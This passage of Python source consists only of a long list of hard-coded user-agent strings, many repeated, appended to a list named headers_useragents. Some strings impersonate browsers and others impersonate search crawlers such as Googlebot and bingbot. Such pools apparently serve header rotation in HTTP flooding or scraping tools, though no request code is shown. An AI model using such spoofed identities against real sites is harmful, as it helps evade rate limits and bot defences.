  1983.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1984.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1985.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1986.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1987.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1988.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1989.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1990.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1991.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1992.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1993.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1994.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1995.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1996.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1997.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1998.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1999.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  2000.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  2001.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  2002.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  2003.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2004.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2005.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2006.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2007.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2008.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2009.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2010.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2011.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2012.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2013.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2014.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2015.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2016.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2017.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2018.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2019.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2020.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2021.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2022.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2023.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2024.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2025.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2026.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2027.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2028.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2029.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2030.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2031.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2032.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2033.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2034.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2035.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2036.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2037.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2038.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2039.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2040.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2041.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2042.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2043.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2044.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2045.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2046.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2047.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2048.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2049.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2050.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2051.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2052.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2053.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2054.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2055.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2056.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2057.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2058.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2059.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2060.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2061.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2062.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2063.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2065.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2066.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2067.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2068.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2069.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2070.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2071.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2072.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2073.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2074.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2075.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2076.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2077.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2078.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2079.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2080.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2081.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2082.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2083.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2084.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2085.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2086.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2087.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2088.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2089.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2090.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2091.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2092.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2093.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2094.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2095.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2096.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2097.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2098.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2099.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2100.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2101.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2102.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2103.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2104.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2105.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2106.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2107.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2108.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2109.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2110.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2111.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2112.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2113.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2114.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2115.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2116.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2117.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2118.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2119.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2120.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2121.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2122.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2123.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2124.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2125.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2126.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2127.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2128.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2129.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2130.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2131.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2132.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2133.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2134.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2135.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2136.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2137.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2138.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2139.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2140.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2141.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2142.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2143.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2144.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2145.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2146.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2147.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2148.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2149.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2150.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2151.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2152.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2153.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2154.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2155.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2156.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2157.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2158.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2159.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2160.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2161.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2162.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2163.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2164.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2165.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2166.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2167.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2168.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2169.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2170.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2171.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2172.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2173.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
